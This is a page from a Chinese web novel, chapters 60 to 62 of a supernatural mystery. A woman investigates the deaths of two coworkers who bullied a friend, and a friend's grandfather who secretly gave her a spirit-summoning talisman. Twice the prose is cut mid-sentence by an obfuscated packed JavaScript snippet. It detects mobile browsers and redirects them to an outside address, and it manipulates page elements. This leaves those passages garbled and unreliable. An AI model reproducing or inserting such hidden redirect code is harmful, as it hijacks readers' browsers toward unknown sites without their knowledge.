外婆开门进了书房,见她坐在电脑前,心疼地问道:“在写稿子吗?好晚了呀,都十二点了,快写完了不?” 颜珺瑶笑道:“我马上就回去睡觉了,您怎么起来了?是我吵到您和外公了吗?” 外婆摆摆手,“不是你,是你外公,睡前忘记给保温壶添水了,所以我这不出来倒水喝。正好瞧见书房亮着灯,就猜是你又起来写稿子了,哎呀,太辛苦了呀!外婆给您煮点夜宵,你要吃啥——” 颜珺瑶赶紧搂住外婆的胳膊,往外走,“我不饿,把文件保存发出去就可以了,您好好休息。” 送外婆回房后,颜珺瑶重新回到书房,想着第二天还要上班,只能把视频保存在网盘,从外婆电脑上删掉,这才回了房间。 * 张熙杰提前下班,又跟王宇阳提了次日想请半天的假,王宇阳知道他家里的情况,倒是没多问,没啰嗦,痛快地就答应了。 他一离开单位,就立即开车上了路,赶到老家的时候,暮色已经压了下来。 颜丙文听到外面的动静,出门一看,发现是张熙杰,就拉着他回家里吃晚饭。 张熙杰小时候就时不时在颜丙文家吃饭,所以也没有客气,跟着进去。 老两口晚饭吃得早,又特意给张熙杰煮了一碗面,一边看着张熙杰吃饭,一边打听他爷爷的情况。 颜丙文特意叮嘱道:“小杰呀,老汤动手术的时间要是定下来了,你跟我说一声啊,我过去陪他。” 张熙杰眼眶有些泛了红,点头答应了。 颜丙文见状,宽慰道:“别担心,你爷爷吉人自有天相,而且帮过那么多人,做过那么多好事,老天爷都记着呢,所以他一定会没事的。” 等张熙杰吃完了,颜丙文突然才想起,“对了,小杰,你今天大晚上的赶回来是有什么事吗?是不是上次回来漏了什么东西?” 张熙杰只能支吾着说了一声“是”,其实他回来有两件事,一是和颜爷爷打听自己爷爷的事情,二是再在家里仔细找找,看看还有没有其他东西。 他看向颜丙文,“颜爷爷,我想问一下,您家里有什么亲戚是姓施的吗?” 颜丙文并不问缘由,笑道:“有啊,瑶瑶的二婶就是姓施,隔壁镇有个村很多人都是这个姓。” 张熙杰回忆着颜珺瑶二婶的长相,不,颜珺瑶和她丝毫不像。 他又问道:“您知道我爷爷的老家是在哪里吗?” 关于爷爷,他只知道爷爷是个孤儿,其他的真的不了解,小时候问过爷爷,爷爷不愿意多说。 不过,很显然,爷爷不愿意告诉他,也没有跟别人提过,就连关系最好的颜爷爷都没有说过。 离开颜家,回到家里,张熙杰到处翻找。 之前回来是为了给爷爷收拾衣物,在关上柜门时,不禁打开了衣柜底下的一个上锁的抽屉。 上一次之所以这个抽屉的锁,是因为他回来的前一天,在医院收拾了爷爷的换洗衣物,打算带回家洗,但无意中把爷爷的钥匙给一同放到了袋子里。爷爷发现钥匙不见了,就立即打电话问他是不是被他不小心拿走了。 当时他没放在心上,只说应该是,等第二天再给爷爷送过去,爷爷虽然很着急,但也没有硬逼他当即送回医院。 从小到大,他就一直对这个抽屉里的东西很好奇,但爷爷一直不让任何人碰,包括父亲。 直到他鬼使神差地打开,才知道了里面都有些什么东西。 最上面是一个大的旧相框,上面有爷爷的单人照,奶奶的单人照以及两人的合照。相框老旧,后面的卡木松动,他拿起来的时候不小心把相框的底板给拆了下来,才发现这里面居然还藏着一张照片,就是那张全家福。 除此之外,抽屉里还有爷爷奶奶的结婚证书,一个老式的首饰盒,里头有两幅耳环,还有两个银质的长命锁。 在看到那张全家福之后,他留了个心眼,把爷爷钥匙串上的几把钥匙都复制了一份。 这次他将爷爷的房间仔仔细细地翻找了一遍,在奶奶留下来的衣物里,找到了一个木盒子,上了锁的。他配的那几把钥匙全试了一遍,都打不开,最后,他直接用工具把锁给绞开了。 里头放着两本存折,还有一本薄薄的相册,照片不多,大部分是合照,其中有两张是一个小女孩的照片,是早夭的大姑。 令他意外的是,最底下放着一张画,更确切一点应该是一张地图。 上面用红线画出了路线。旁边写着三个字,银相山。 张熙杰瞳孔骤缩,这不就是上次陪爷爷去的那个地方吗? 爷爷说那里葬着他的恩人。 * 次日上午,颜珺瑶发现张熙杰居然没来上班。 她打了电话过去,张熙杰只说自己有点事情,让她不用担心。 她有些诧异,张熙杰到底是去干嘛呢? 因为她在电话里听到了马路上的鸣笛声,他是在外面,不是在医院,他会去哪里呢? 这几天他都有些不对劲,先是好奇她家里是否有亲戚姓施,不仅问了她,还跟外婆也打听过,而且今天又请假了—— 他是不是出了什么事? * 何文旭在四天之后就整理好了张熙杰家里的基本资料,发给了许修远。 许修远发现张熙杰家里很有点特别。 他爷爷汤明山实际上并不是本地人,但也查不出来他是从哪里迁过来的,对外只说自己是孤儿。而且这一家子比较与众不同,所有的孩子都随母姓。 张熙杰确实有一个大姑早夭,他的父母住在镇上,而他的姐姐张瑜欣三年前因为抑郁症而去世,汤明山也是从那之后开始不再帮人处理那方面的事情。 不仅如此,许修远还有一个很重要的发现。 张瑜欣生前在H市工作,所在的公司就是许氏集团旗下的一家分公司。而她是因为工作失职,导致项目失败而被公司辞退的。离开公司后没多久,身患抑郁症的张瑜欣就因为车祸离世。 但在张瑜欣出事之后,家人就去过公司,声称张瑜欣是被人陷害的,而且长期被区别对待,霸凌,因为她留下了不少的日记本,这些事情在日记本上都写了下来。 公司为了息事宁人,决定给予一定的经济赔偿,但他们家人不要补偿,只要公道。不过两天之后,他们突然就没再出现在公司,最后也没要补偿。 负责处理这件事的任副总十分不解,张瑜欣的家人连赔偿都没要,突然就不闹了?他还一直担心着张瑜欣家人憋着什么大招,但之后他们再也没去过公司。 许修远微微敛眸,心中有了一个猜想。 难道汤明山是因为张瑜欣的事情,所以要报复许家? 可他是怎么知道当年二太奶奶和三姑奶奶的事情呢? 许修远抬眸看向助理,“分公司那边后来有没有重新调查过张瑜欣的事情?” 何文旭点头道:“我问过了,在张瑜欣家人第一天去公司之后,公司就立马调查了,文件上的名字确实是张瑜欣亲自签的,笔迹不会错,而且张瑜欣的主管也认定就是张瑜欣出的错,不存在陷害的问题。不过——这个主管今年突然就离职了。” “哦?什么原因?” 何文旭的神色有些不对劲,“当时他们那个项目有六个人,一个主管,三个女生,还有两个刚转正的新人。在张瑜欣出事后的第二年,其中一个叫庞依娜的突然就死了,最后查出来是吓破胆而是,而且不是人为。 这个庞依娜死了之后,剩下的那个马茜茜很快就离职了,但是几个月前也死了,同样是吓破胆,也没有查出来任何人为的迹象。就是在这个马茜茜死后没多久,这个孙鸣和当初的马茜茜一样,突然就离职了,而且好像成天就躲在家里,不敢出门。 在他离职前,他跟人事部的人打听了张瑜欣家人的地址和手机号。张瑜欣留的户籍地址是她父母在镇上的住处,紧急联系人是他弟弟。” 许修远略一沉吟,“公司其他人对张瑜欣是什么评价?” “张瑜欣比较内向,好说话,其实人缘还可以,但没什么好朋友。庞依娜和马茜茜两人跟这个主管关系倒是比较好,走得很近。在张瑜欣的事情过去之后,马茜茜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16166444|177567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还和这个孙鸣在一起,不过好像是在庞依娜离世之后,有人听到这两人在公司办公室大吵了起来,没多久就分了手,马茜茜也跟着离了职。” * 得知孙鸣还在H市,许修远亲自去了一趟H市,约见了分公司的任副总,同时让他把孙鸣带上。 因为孙鸣就是这个任副总的亲戚,当年就是靠他的关系进了分公司,也是任副总把他拉上主管的位置。 见到之后,许修远开门见山地问他为什么突然离职,当年张瑜欣的事情到底是怎么回事。 孙鸣一开始支支吾吾的,顾左右而言他,就是不愿意说。 最后在许修远和任副总的眼神威压下,还是说了。 “当年的事情确实不是张瑜欣的错,而是马茜茜和庞依娜工作失误,但我一开始也不知道,真的不知道,我也是被马茜茜和庞依娜给骗了。庞依娜出事的前一个月,就变得有些神经兮兮,跟马茜茜说她好像看到了张瑜欣,时不时就梦到她,马茜茜并不放在心上,觉得庞依娜就是胡思乱想。 等到庞依娜死了之后,而且还是吓破胆死的,马茜茜也有点害怕起来。我就重新调查了当初那件事,逼问马茜茜,马茜茜这才说了实情,是她和庞依娜给张瑜欣扣的锅。我就直接和她分手了,这个女人太恶毒了,间接害死了张瑜欣,我不可能和她这种心肠的女人在一起,之后马茜茜也离开了公司。 可马茜茜今年也死了,居然和庞依娜一模一样的死法。而且她在死之前也多次联系过我,说她看到了张瑜欣,让我帮她。我因为有了新女朋友,就把她拉黑了,没想到她竟然——竟然也死了。” 说到这里,孙鸣浑身颤抖起来,眼泪啪嗒啪嗒不停地掉着,哭得几乎说不下去了。 任副总嫌弃地“啧”了一声,“要哭回去随便哭,现在先把事情说清楚,别耽误许总的时间。” 孙鸣胡乱地擦掉了脸上的泪,哽咽着继续说道:“我觉得肯定是张瑜欣的鬼混在报复,所以我就跑去了张瑜欣老家,找了她的父母,跟他们说明了实情,是庞依娜和马茜茜搞的鬼,愿意补偿他们十万,不是我小气,我真的只有这些钱了,这是我全部的存款。但是她的父母压根就不愿意相信我的话,不愿意原谅我,钱也没要。 我又找了她弟弟,甚至是她爷爷,但他们都觉得事情和我也有关系,我也是始作俑者之一。他们还说我没有诚意,如果真的查明真相,为什么公司那边没有直接联系他们,给他们道歉,他们觉得我没敢把事情真相告诉公司。” 说着,他就看向了任副总。 任副总瞪了他一眼,赶紧接上话,“三年前是他们家放弃追责,公司不可能再上下通报一件三年前的事情,而且事情相关的三个当事人都已经离职,并且也都离世可,如果这么做了,影响太不好了。 公司可以给他们家道歉,要是相关人员都还在公司,那公司也会开除相关人员,可马茜茜和庞依娜都离世了,孙鸣也离职了,公司最多也只能给予一定的经济补偿,还有慰问。” 孙鸣自从找了张瑜欣家人无果之后,才联系了任副总,把真相告诉了他,希望任副总去给他们家道歉,答应他们家的要求,在官网登出来,公司内部上下通报。 但任副总不可能答应他的无理要求,孙鸣哀求他,说庞依娜和马茜茜是被张瑜欣的鬼魂害死的,如果不这么做,下一个就会是他。任副总觉得他胡说八道,不再予以理会。 孙鸣纠缠了许久,但一直没成功,所以只能天天躲在家里。今天任副总突然要见他,他以为是要答应了自己的要求,没想到却不是。不过面前这个人权利比副总还大,这就是个好机会啊! 顿时,孙鸣突然痛哭起来,“许总,请你一定要相信我的话,庞依娜和马茜茜真的是被张瑜欣的鬼魂吓死的,求许总救救他,否则我也会死的,但我真的真的是无辜的。” 任副总看不下去了,低声呵斥孙鸣,让他闭嘴。 许修远一直没有开口,起身准备离开,孙鸣直接扑了过去,跪在他面前求他。 何文旭赶紧挡在孙鸣身前,许修远径直离开了。 等到许修远和何文旭都走了,任副总一脚把孙鸣踹到了地上。如果因为他而连累到自己,自己一定不会让他好过的。 61. 第 61 章 许修远回到了酒店,何文旭接了个电话,就进了许修远的房间,将刚刚得到的信息告诉他。 “当时庞依娜父母觉得自己女儿是被人害死的,一定是有人故意吓她,才会把她给吓破胆。警方调查了一段时间,也查到了张瑜欣的那件事,所以去到了我们S市,询问了张瑜欣的家人,基本都有不在场证明。 只有汤明山承认自己五月份的时候乘坐动车去过H市,不过是在庞依娜死前的一个多星期左右,那是她孙女的忌日,他只是去祭拜孙女。后来警方在他住的旅馆附近找到了监控,发现他出去过,但只是去买了一些纸钱还有祭拜的用品,又在张瑜欣出事路段的路边看到老人家烧纸钱。虽然其余时间老人家的去向并没有查到,但是汤明山确实不符合作案的嫌疑。 同样的,马茜茜出事之后,警方也调查到汤明山乘坐动车去过H市,还是在她孙女的忌日,还是在马茜茜出事前,依旧有不在场证明,所以还是排除了张瑜欣家人的嫌疑。” 许修远眉心微动,“所以庞依娜和马茜茜出事的日期很接近,都是在张瑜欣的忌日之后。” 何文旭点头,“嗯,只差了七天。” 许修远觉得,庞依娜和马茜茜的死很可能是汤明山间接导致的,他在为自己的孙女报仇。 而许家,在他眼里,也是害死张瑜欣的凶手之一。 所以汤明山很有可能就是幕后的人,也许他是沈新柔的亲人,也许他和沈新柔没有血缘关系,但是他和沈新柔合作了。 不管是哪一种可能,他就是在报复许家。 * 张熙杰在银相山上迷路了。 明明是按照爷爷绘制的地图上的标示走的,但莫名其妙地就迷路了,很长时间都在绕圈子,就跟鬼打墙一样。 他只能继续耐着性子找,直到下午的时候才终于找到了符合爷爷绘制的地图上的位置。 一座夫妻合葬墓。 不远处就是一片耕地,这附近就只有这么一个墓,不会错,就是这里。 张熙杰仔细辨认了墓碑上的名字和生卒年,施怀山和汤玉娥,所以这里面葬着的两人,不仅仅是爷爷的恩人,还是他的亲人。 从年纪来看,施怀山和汤玉娥夫妻俩大了爷爷四十多岁,像是祖父母,再结合爷爷也姓汤,感觉爷爷可能是汤玉娥的侄子,但他莫名他们很可能是爷爷的父母。 而施晓梦则是和施怀山同姓,不是侄女,就是女儿,所以她很可能是爷爷的表姐,或是姐姐。 自己要么称呼施晓梦为表姑奶奶,要么是大姑奶奶,而许薇萍则是自己的表姑。 可施晓梦和许薇萍两人去了哪里呢? 爷爷为什么会要给许老先生去信? * 颜珺瑶发现张熙杰到了下午还是没来,手机居然是暂时无法接通。 她只好去问了主任,主任告诉她,中午时张熙杰打过电话又请了半天。 虽然如此,颜珺瑶还是时不时拨一下他的号码,一直无法接通,终于在快到下班时,电话通了,但是没人接,不过她也稍稍放了心。 晚上回到家里,吃过饭就一头扎进了房间,先给张熙杰发了条微信,让他看到信息之后,给她回一条语音信息,之后便又开始看那些监控视频。 将近十点左右,颜珺瑶把所有的监控视频都看完了,没有看到眼熟的人,她开始怀疑自己的猜测。 正揉着双眼放松时,张熙杰回了一条语音信息,表示自己没事,让她放心。 颜女主这才彻底安心,回了一句让他好好休息,便不再打扰他。就算有再多疑问,也得等到明天再问。 她打算再重新看一遍所有的视频,如果这一次还是没有结果,那自己就只能放弃。 终于皇天不负有心人,凌晨一点多的时候,她的一个哈欠还没打完,突然注意到角落里的一件男士上衣。 放大,再放大—— 没错了,她曾经陪张熙杰去商场给汤爷爷买过一件差不多,而视频里这件衣服的主人,脸有些模糊,不够清晰,但能看出是个上了年纪的男人,而且和汤爷爷比较像。 颜珺瑶呆愣在电脑前好几分钟,才把这个男人出现的片段给剪了下来。 她知道吴以晴老公白眼有个朋友是个技术高手,图像专家。如果不是时间太晚,她真的想立即就联系吴以晴。 * 翌日上班,张熙杰终于出现了。 颜珺瑶一进办公室就跑到他身边,张熙杰正坐在椅子上愣神,被她吓了一跳。 “……吓到你了,抱歉——” 张熙杰笑了笑,“没事,就是有点累而已。” 颜珺瑶直觉他一定有心事,“有没有什么我能帮上忙的?” 张熙杰笑着摇头,“没什么事,如果到时候需要帮忙,我会找你的,放心。 颜珺瑶知道他不想说,没再多问,给他点了一杯喜欢的奶茶,塞到他手上,笑嘻嘻地拍了下他的肩膀,回到了自己的工位。 旁边的女吕嫣滑着椅子就过来了,“你和张熙杰感情真好,青梅竹马就是不一样!” 颜珺瑶从外卖袋子里拿出了另一杯递给她,“你的,也是你喜欢的。” 吕嫣心满意足地滑回了自己的位置,颜珺瑶刚插好吸管,正要吸溜一口,吕嫣却又出现在她身边,悄咪咪地问道:“你和张熙杰会结婚吗?我嗑你俩!” 颜珺瑶晲了她一眼,佯装上手要抢她的奶茶,“奶茶还给我。” 吕嫣投降,“好,好,我以后再也不乱嗑了,只是实在好奇啊,你俩互相不来电吗?” 颜珺瑶无语地看着她,吕嫣撇撇嘴,“好吧,我知道你俩是没有血缘关系的兄妹了。” 她吸了口奶茶,还是忍不住贴近她,“但我觉得他应该会喜欢你的,真的,不骗你。” 话音刚落,赶在颜珺瑶赏她白眼之前,呲溜着就回到了自己的工位。 “……” * 上午,颜珺瑶抽空联系了吴以晴。 吴以晴今天在外地,没办法陪她过去,就给她发了地址还有电话号码,还表示她会让她老公提前跟对方说一声。 一看地址,有些远,中午要是去的话,万一遇上堵车,怕是来不及回来。 她正纠结着中午要不要赶过去时,却接到许修远的电话,想请她吃饭。 颜珺瑶想着上一次拒绝了,要是再拒绝就不好了,于是便答应了,而且在对方问她想吃什么时,告诉对方,都可以。 许修远知道她喜欢中餐,于是便选了离她单位不远的一家私房菜馆,询问她的意见。 一看到餐厅的名字,颜珺瑶第一反应是,这家可老贵了,她也就吃过一次,还是长辈带她去的,但是确实很好吃,自然是可以的。 还没到下班时间,她发现张熙杰又提前离开了。 幸好今天正好不太忙,主任也刚好出去开会了,提前离开也不太要紧,但她心里总有点坠坠的。 许修远准时给她发了微信,颜珺瑶立刻就跑下了楼。 她觉得许修远还是很贴心的,没有把车停在单位门口,而是有一段距离。 上车的时候,坐在副驾驶座的人突然跟她问了声好,她吓了一跳,这才注意到是男主的助理,之前见过的何文旭。 到了目的地,颜珺瑶刚要下车,就听到前头的助理转头对许修远说道:“许总,你的行李我给你送回去。” 走进餐馆的包间,点好菜,颜珺瑶这才问道:“你上午刚出差回来吗?” “嗯,正好经过这儿,所以找你一起吃顿饭。” 两人闲聊了几句,许修远突然问道:“你和张熙杰从小就认识?” 颜珺瑶愣了下,但还是回道:“是,不仅我和熙杰,还有他姐姐瑜欣姐,我们仨的感情最好,玩得最好。你怎么突然问起他?” “刚才恰好看到他的车从你们单位楼下出来。” “哦,这样啊,他刚才确实早走了一会儿。”颜珺瑶不疑有他。 “对了,之前你说那个水晶摆件是你一个好朋友送你的礼物——” 闻言,颜珺瑶眉眼间染上哀伤,“是瑜欣姐送的,我上大学的时候她特意给我定做的。” 她深深叹了口气,“不过她已经走了。” “抱歉。” “已经三年了,时间真快。瑜欣姐很漂亮,也很温柔,性格很好,但可能就是太好说话了,让有些人觉得她好欺负,她就是遭到了职场霸凌,被诬陷,被辞退,最后因为抑郁症所以才会发生那样的意外。不过霸凌诬陷瑜欣姐的两个女的,这几年陆续没了,虽然这么说有点恶毒,但确实让人觉得挺痛快的,不过再痛快,瑜欣姐也回不来了。” 说到这里,颜珺瑶突然呆住了。 那两个女的接连出事,而且都是在瑜欣姐的忌日之后,汤爷爷这三年也都会在瑜欣姐忌日的时候去H市,说是去祭拜孙女,所以才导致两次警察都找了过来。但因为汤爷爷和叔叔阿姨,还有张熙杰在这两个人出事的当天,都有不在场证明,所以被排除了嫌疑。 她突然有点怀疑,这两件事,有没有可能是汤爷爷做的呢? 她要是没记错的话,当时叔叔阿姨还有张熙杰向公司要说法,不要经济补偿,只要还瑜欣姐一个清白,但公司调查出来居然还是认定是瑜欣姐做的,和那两个女的没有关系。最后这件事不了了之,因为汤爷爷最先开口让别再追究,算了,再闹下去孩子死都不安生,让孩子好好走。 汤爷爷这么好的人,真的会利用自己的本事害人吗? “珺瑶?”许修远见她突然皱眉,似乎在想着什么,“怎么呢?” 颜珺瑶倏地回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16174597|177567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神,“哦”了一声,“没事,刚——刚才说到哪里?” “你说到那两个欺负你朋友的女的,这几年陆续都死了。” “嗯,当初张熙杰和家人跑到瑜欣姐的公司去,让公司重新调查,可最后也没给瑜欣姐一个清白。” 许修远点点头,突然想起什么,“对了,你要找的人,找到了吗?” 颜珺瑶一愣,很快反应过来男主在问什么,有些心虚地低头喝汤,“还没。” “需要帮忙吗?” 颜珺瑶抓了抓脸,忙道:“不用,不用——” 许修远从外套里拿出一个精美的荷包,递到她面前,“这个你收着,也是平安符。” 颜珺瑶眨眨眼,将荷包拿到手上,不禁先瞅了眼上面精巧的绣花,而后才拉开抽绳,里面确实是一张黄符。 她不解地看向许修远,许修远解释道:“我爷爷专门从港城请了一位大师来,这是那位大师给我的平安符,虽然不知道有没有用,但聊胜于无,说不定就能起到点作用,你放心,不是——” 他的话还没说完,颜珺瑶就瞪大了眼睛,忙把荷包放回他面前,急忙道:“那我就更不能收了。” 她解释道:“你别误会,我不是不相信你,虽然我感觉目前她们母女并没有要伤害你和你爷爷的意思,但是——小心一些总是好的,我觉得你比我更需要这个,你好好收着,说不定就能保护你。” 许修远皱眉,“但她们母女借用你的身体,对你的身体损害很大,你就不担心她们会害了你吗?” 颜珺瑶轻咳一声,支吾道:“应该——不会伤害我的,你放心,她们不太可能不会要我的命。” 虽然她还没确认,但如果幕后之人真的是汤爷爷,那他一定不会害她的命。 许修远深吸一口气,“你之前说,严婆婆给你的平安符不见了。” “嗯,是不见了。不过你不用担心,我已经又有一张了。” 许修远想了想,“你的那两个荷包放在包里,手机钱包都在,却只有荷包不见了——” 颜珺瑶不敢让他继续琢磨下去,赶紧接话道:“是挺奇怪的,不过也有可能是有人看上了我那个荷包——那个荷包还挺好看的。” 许修远不语,眉心微动。 颜珺瑶踟蹰半晌,“说实话,我觉得我既然被卷进这件事,成了一个工具人,想躲是躲不掉的,严婆婆说我的八字阳气重,其实她们母女完全可以另外找一个人,但她们还是一直借用我的身体。 五月份的时候,我去普陀寺拜佛求签,之后又找了一位白胡子的老先生帮忙算命,老先生说我这辈子会平安顺遂,但命里有一劫,让我要心存善念,现在想想,可能真的有命运这回事。” 她正感慨着,许修远突然愣了一下,“五月份我也去过一趟,下山的时候也找了一位须发皆白的老先生算了算,也说我命里有一劫,但是会有贵人相助。现在看来,你就是我的贵人。” 他到现在还记得当时求的签文,以及那位算命老先生给他的批语。 衣冠重整旧家风,道是无穹却有功;扫却当途荆棘刺,三人约议再和同。 他在寺里解了签,工作人员说的和签文上的注解大同小异,求得此签者自有佳期,前路可宜,而且必有人相助。而那位老先生给他的批语,令他印象最后的一句是,前人欠债今人偿,所以他命里的一劫躲都躲不过,但得遇贵人。 当时他并不太放在心上,但现在他觉得不管是他求的签,还是那位老先生的批语,都很准。 颜珺瑶被他说的有些不好意思,眉眼弯弯地说道:“虽然不知道我是不是那个贵人,但听你这么一说,莫名其妙地觉得自己现在两米八。” 两人相视一笑,颜珺瑶想起来一件事。 “你也是五月份去的?那我们应该是同一天去的,因为熙杰看到你了,我只看到你和两个朋友的背影。” 许修远弯起嘴角,“有缘。” 说完就垂下眼眸,喝了口汤。 对此,颜珺瑶深有同感,重重点头。 “确实,如果不是我长得像沈新柔,也不会有这些奇遇,也不会认识你和你爷爷。有时候我会觉得,我们每个人的命运都是被设定好的,就像编程,按下回车,按照程序就自动运行。” 说到这里,她又想起刚才许修远提到的什么港城大师,又忍不住问道:“你爷爷请的那位大师,他打算怎么对付沈新柔和许薇萍母女呢?” “我爷爷不让我参与,不过我知道这位先生倒是直接跟我爷爷说她们母女不好对付,最好的办法还是要尽力满足她们的心愿。” 许修远看向颜珺瑶,“如果我爷爷接下来联系你,想要和你见面,不管他说什么,你都别答应,也不用顾及我。” “……嗯。”颜珺瑶莫名有一种不太好的预感。 62. 第 62 章 吃完饭,将近一点半了,许修远送颜珺瑶回到单位楼下,正好碰上张熙杰的车子也刚好回来。 停好车,张熙杰叫住正走在前面的颜珺瑶。 “我刚才看到了,许修远请你吃饭?还是——许家又找你帮忙?” 颜珺瑶愣了一下,“哦,他代表他爷爷感谢我,所以请我吃饭,就多聊了几句。” 张熙杰脸色变了变,代表许忠林? 真是许忠林的意思,还是纯粹只是许修远本身想请她吃饭呢? 但他没再问,只是点点头,一起进了电梯。 张熙杰心里暗自想着,如果颜珺瑶真的是施晓梦和许天佑的后代,那她和许修远算是表兄妹。法律上规定三代以内旁系血亲不能结婚,她们俩是——第四代,应该是允许的,可—— 珺瑶这张脸,许忠林会同意吗? 出了电梯,张熙杰忍不住把颜珺瑶拉到无人处说话。 “珺瑶,你跟我说实话,那两天许忠林——对你态度如何?” 颜珺瑶有些心虚,但又不能说实话,“挺——挺客气的,毕竟我是去帮忙的,又不是他的员工。” 张熙杰不禁又问:“他找你,真的是——” 不远处的电梯再次叮的一声,从里面走出来一个中年男人,打断了他的话。 “你俩在那说啥悄悄话呢?” 两人异口同声地打了声招呼,王宇阳似乎只是随口说了这么一句,点点头,笑呵呵地进了办公室。 颜珺瑶看向张熙杰,“熙杰,你放心,我没事,许家老爷子找我真的是帮忙。” 回到工位,正在喝咖啡提神的吕嫣看到她,噌地就又滑到了她身边,还给了她两颗太妃糖。 颜珺瑶谢过,正要剥糖纸,吕嫣突然说道:“吃了我的糖,就要回答我的问题哦!” 颜珺瑶赶紧将刚剥开的糖纸又拧上,要塞回吕嫣手里,“还你!” 吕嫣将手背到身后,笑嘻嘻地说道:“哎呀,逗你的,你吃,可甜了!” 她清了清嗓子,贴到颜珺瑶耳边道:“中午我男朋友过来带我去吃饭,我看到你上了一辆车——” 颜珺瑶知道会被同事看见,也没有否认,点点头,“嗯。” 吕嫣激动起来,贼兮兮地笑起来,“哇塞,我男朋友说那辆车子他二十年不吃不喝,把自己饿死,才有可能买一辆,是谁的车啊?男的女的?多大年纪?颜值打几分?” “普通朋友,求别乱嗑!” 吕嫣嘴里咕哝道:“看来是个男的,而且年纪不大——是在追你吗?” 颜珺瑶无奈地晲了她一眼,吕嫣眨眨眼,“嗯,看来你还在纠结——” 颜珺瑶直接将剥好的糖放到她嘴里,堵住了她的话,“吃你的糖吧!” * 六点多,天色开始暗了,颜珺瑶终于忙完手上的工作,急忙忙地下楼打车去找黄衣。 路上很堵,幸好约的是八点,没有迟到。 抬头确认了一下店招牌,阿衣专业维修电子设备。 嗯,就是这里。 店铺面积不大,一走进去就看到柜台后面坐着一个穿着时尚,长相清爽的年轻男生坐在那里。 对方也注意到了她,上下打量了一眼,“你是?” 颜珺瑶有些疑惑地看着对方,吴以晴说黄衣已经三十了,可面前这个帅哥看着像是大学刚毕业的,应该不是。 于是说道:“我是颜珺瑶,我找黄衣,刚才和他联系过了。” 黄衣嘴角扯了扯,笑道:“我就是——” 他伸手,“东西呢?” 颜珺瑶从包里拿出优盘递过去,把自己的要求说了,黄衣“啧”了一声,嘀咕了句:“这么点事,你下午直接发我微信不就可以了。” 颜珺瑶现在最想知道的是什么时候能处理好,黄衣漫不经心地回答:“明天发给你吧!” “能不能加急?加钱没问题的。” 黄衣撇撇嘴,视线从电脑上移到她脸上,很快扫了一下,“尽量吧,你回去等着吧!” * 一晚上,颜珺瑶都在等黄衣的微信,心急如焚,坐立不安,却也不敢催促,时不时就要瞄一眼手机,看自己是否错过了什么信息。 直到凌晨十二点多,黄衣终于来了微信,最上面是处理过的图像,底下跟着一句话:【这个清晰度已经可以看清楚人脸和衣服了。】 图片不用点开,她就已经有了答案。 因为从缩略图就基本上能看出来图片上的人就是汤爷爷。一点开,就看的更清楚,连衣服上的logo都能看到,就是自己陪张熙杰去买的那件。 颜珺瑶谢过了黄衣,又给对方多转了一倍的费用。 而后放下了手机,整个人像是被抽走了所有的力气,靠在椅背上一动不动。 良久,她从包里掏出那个新的荷包,松开抽带,拿出里面的那张黄符。 这也是汤爷爷给她的,她还是不愿意相信汤爷爷会把她拉进这个复仇计划里。 她还需要做最后的验证。 * 翌日傍晚,颜珺瑶从单位离开,先回了趟家里,借了老爸的车子前往郊区。 赶到严婆婆住处的时候已经快九点了,屋子里灯还亮着。 她大大松了一口气,上前敲门,严婆婆果然还没睡,但也没开门,只是隔着门板问了声是谁。 “婆婆,我是来问事的。” 不一会儿,门就从里面被打开了,严婆婆面色不虞地看着她,没好气地说道:“问事这么晚过来,也不看看几点了,进来吧!” “对不起,打扰您了。” 颜珺瑶乖巧地跟上,严婆婆没带她进那个昏暗的房间,而是直接在客厅坐下,看着她,“这么晚过来,遇到什么事了?” 颜珺瑶抿抿唇,“我朋友的爷爷了解了我的情况后,给了我两张平安符,想让严婆婆帮忙看看。” 说着,她从包里拿出两个荷包,小心翼翼地从中抽出符纸并打开,递到了严婆婆面前。 严婆婆接过,眯了眯眼,又把两张符纸分别放远了才看清,脸色倏地一变,将两张符纸放到了桌子上。 “这两张都是你朋友的爷爷给你的?” 女主心头一沉,有了不好的预感,咽了咽口水,“是,这符纸——是有什么问题吗?” 严婆婆嗤笑一声,“如果对方真是你的亲戚朋友,那我劝你可以不必来往。” 她从桌子上拿起其中一张符纸抖了抖,“这是招阴符,这张符会压制你的阳气,让你容易被阴魂上身,你的八字本身就是不易被鬼邪近身的,但你天天带着这张符——在我给了你第二张平安符之后,你有没有被阴魂附过身?” 颜珺瑶脸色歘地一白,一瞬不瞬地看着严婆婆手上的黄符,这张是从绣有如意纹的荷包里拿出来的,也就是汤爷爷第二次送她的荷包。 半晌,她才艰难地回道:“有。” 接着她又把自己之前发生车祸的事情简单地跟严婆婆说了。 严婆婆不禁摇头,“这个人不简单,他是在利用你,不惜伤害你的健康。人在不舒服的时候阳气就比较弱,有可能你的车祸都是对方设计的。 车祸削弱你的阳气,再加上这张符,阴魂想什么时候上你的身就什么时候上身,甚至彻底夺走你的身体都是可以的,到那时候你就成了孤魂野鬼了,而对方就取代你活下来了。” “那这一张呢?”颜珺瑶拿起放在桌上的那张符纸。 “嗯,这张符纸的功效和我给你的出入不大,确实是能保平安的。这人很有心机,给你一真一假,而且两张符就连同行都要仔细才能瞧出端倪,很可能就是为了不让你轻易发现。姑娘,你要当心,他会害你。” 